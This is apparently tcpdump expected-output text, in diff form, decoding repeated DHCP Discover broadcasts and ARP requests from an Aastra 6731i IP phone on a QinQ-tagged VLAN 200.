+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52762, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969b4f, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52772, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969b4f, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52779, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969b4f, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52794, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969b4f, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52825, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969b4f, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52829, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969b4f, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52836, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969b4f, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52851, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969b4f, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52882, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969ad7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52893, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969ad7, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52900, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969ad7, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52915, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969ad7, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52947, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969ad7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52950, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969ad7, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52957, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969ad7, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52973, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969ad7, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53004, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969a5d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53010, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969a5d, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53018, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969a5d, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53034, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969a5d, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53065, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969a5d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53068, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969a5d, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53075, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969a5d, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53090, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969a5d, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53122, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969699e7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53134, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969699e7, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53141, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969699e7, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
